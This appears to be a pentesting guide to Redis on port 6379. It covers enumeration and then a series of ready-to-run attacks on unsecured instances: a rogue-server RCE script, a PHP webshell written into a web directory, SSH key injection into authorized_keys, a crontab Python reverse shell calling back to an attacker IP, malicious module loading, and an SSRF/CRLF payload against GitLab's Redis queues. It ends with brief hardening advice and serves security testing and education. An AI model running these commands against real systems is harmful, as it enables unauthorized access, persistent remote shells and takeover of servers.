Pentesting Redis (6379): Vulnerabilities, Exploits, and Defense

Redis is a widely-used, open-source, in-memory key-value store, celebrated for its high performance and scalability. It serves various purposes like caching, database operations, and message brokering. However, misconfigurations or unsecured Redis deployments can expose vulnerabilities, making Redis an attractive target for attackers. This guide delves into Redis pentesting techniques, exploring common vulnerabilities, automated and manual exploitation methods, and defense strategies.

1. Redis Basics and Attack Surface

Redis communicates over a plain-text protocol by default and listens on port 6379. Without authentication, misconfigured Redis instances are prone to unauthorized access. Attackers can leverage this simplicity to gain full system control, enabling malicious activities.

Redis's minimal security settings and straightforward configuration make it easy for developers to set up but also expose significant risks if not properly secured.

2. Automated Redis Enumeration

Pentesters often start by automating the enumeration process to identify potential misconfigurations quickly.

Nmap Redis Enumeration

The Nmap redis-info script can gather essential information about the Redis server, including its version, role, connected clients, and more. This is the most straightforward way to identify a Redis instance's configuration:

nmap --script redis-info -sV -p 6379 <IP>

Metasploit Redis Enumeration

Metasploit includes a Redis scanner that can enumerate configurations and active databases:

msf > use auxiliary/scanner/redis/redis_server

This module helps determine the attack surface by revealing databases, user accounts, and other configuration details.

3. Manual Redis Enumeration

Once an instance has been identified, more manual enumeration techniques can uncover vulnerabilities.

Connecting Using nc or redis-cli

You can connect to a Redis instance using either netcat (nc) or the redis-cli client:

nc -vn <TARGET_IP> 6379

redis-cli -h <TARGET_IP>

Once connected, the INFO command returns detailed information about the Redis server:

INFO

If you encounter the following response:

-NOAUTH Authentication required.

it indicates that the Redis instance is secured with authentication. Otherwise, an open instance can be further exploited.

Authentication Bypass

If authentication is required, brute-forcing the password is a viable attack vector:

AUTH <password>

Weak or default credentials could allow attackers to gain unauthorized access.

4. Extracting Information with Redis Commands

Once connected, attackers can execute a variety of commands to gather information about the system:

• INFO: Displays server statistics, configuration details, and database metrics.

• CONFIG GET *: Lists the complete configuration settings of the Redis server.

• MONITOR: Captures all client activities in real-time, allowing the attacker to observe user commands.

• CLIENT LIST: Reveals information about currently connected clients, including IP addresses and connection states.

  
  

5. Exploiting Redis Vulnerabilities

Misconfigured Redis instances offer numerous exploitation opportunities for attackers, ranging from remote code execution (RCE) to SSH access.

5.1 Redis Rogue Server for Remote Code Execution

Redis versions ≤ 5.0.5 are vulnerable to a rogue server attack, which can result in an interactive or reverse shell:

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP>

This script uploads a payload to the Redis server and achieves code execution on the target.

5.2 PHP Webshell Injection

If the Redis instance has write permissions to a web directory, it’s possible to upload a PHP webshell:

redis-cli -h <TARGET_IP>

config set dir /usr/share/nginx/html

config set dbfilename redis.php

set test "<?php system('id'); ?>"

save

The webshell can be accessed via ‘http://<TARGET_IP>/redis.php.’

5.3 SSH Key Injection

Redis can also be used to inject SSH keys into the authorized_keys file of the target system:

ssh-keygen -t rsa

(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

cat spaced_key.txt | redis-cli -h <TARGET_IP> -x set ssh_key

After writing the key to the .ssh directory:

redis-cli -h <TARGET_IP> config set dir /var/lib/redis/.ssh

redis-cli -h <TARGET_IP> config set dbfilename "authorized_keys"

redis-cli -h <TARGET_IP> save

The attacker can then gain SSH access:

ssh -i id_rsa redis@<TARGET_IP>

Automation scripts, like Avinash-acid's Redis-Server-Exploit, make this attack easier.

5.4 Crontab Exploitation

Attackers can inject a reverse shell into the crontab, gaining persistent access:

echo -e "\n\n*/1 /usr/bin/python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"<ATTACKER_IP>\",8888)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | redis-cli -h <TARGET_IP> -x set cron_job

Then save the job in the cron directory:

redis-cli -h <TARGET_IP> config set dir /var/spool/cron/crontabs/

redis-cli -h <TARGET_IP> config set dbfilename root

redis-cli -h <TARGET_IP> save

This ensures that the reverse shell executes periodically.

5.5 Redis Modules for Arbitrary Code Execution

Redis supports custom modules, which can be exploited by compiling and loading malicious code:

gcc -o mymodule.so -shared -fPIC mymodule.c

Once uploaded, the attacker can run system commands through Redis:

redis-cli -h <TARGET_IP> MODULE LOAD /path/to/mymodule.so

127.0.0.1:6379> system.exec "id"

Learn more about module-based attacks from this repository.

6. Advanced Techniques: Exploiting SSRF to Attack Redis

Server-Side Request Forgery (SSRF) vulnerabilities in applications like GitLab can be abused to target Redis. Attackers can craft SSRF payloads to issue Redis commands indirectly:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque:gitlab:queues system_hook_push%0D%0A exec

By chaining SSRF with CRLF injection, an attacker can manipulate Redis queues to gain code execution.

7. Defending Redis: Best Practices

Securing Redis against exploitation requires careful configuration and continuous monitoring. Key defensive measures include:

1. Enable Authentication: Always use strong authentication by configuring passwords:

config set requirepass "strongpassword"

2. Restrict Redis to Localhost: Prevent unauthorized access by binding Redis to the local interface:

bind 127.0.0.1

3. Enable TLS: Encrypt communication using TLS to prevent data interception.

4. Firewall Rules: Limit Redis access to specific IP ranges by configuring firewall rules.

5. Disable Dangerous Commands: Disable commands that could cause significant damage:

rename-command CONFIG ""

6. Regular Auditing: Perform routine checks on Redis logs and access permissions to ensure security compliance.

   
   

For a deeper dive into Redis security best practices, check out the official Redis security documentation.

Conclusion

While Redis offers high performance and flexibility, its misconfigurations can lead to severe security risks, from unauthorized access to remote code execution. By employing pentesting techniques and adopting robust security measures, organizations can secure their Redis instances against potential threats.

References

1. HackTricks: 6379 Pentesting Redis

2. Nmap Redis Info Script

3. Metasploit Redis Scanner

4. Redis Security Best Practices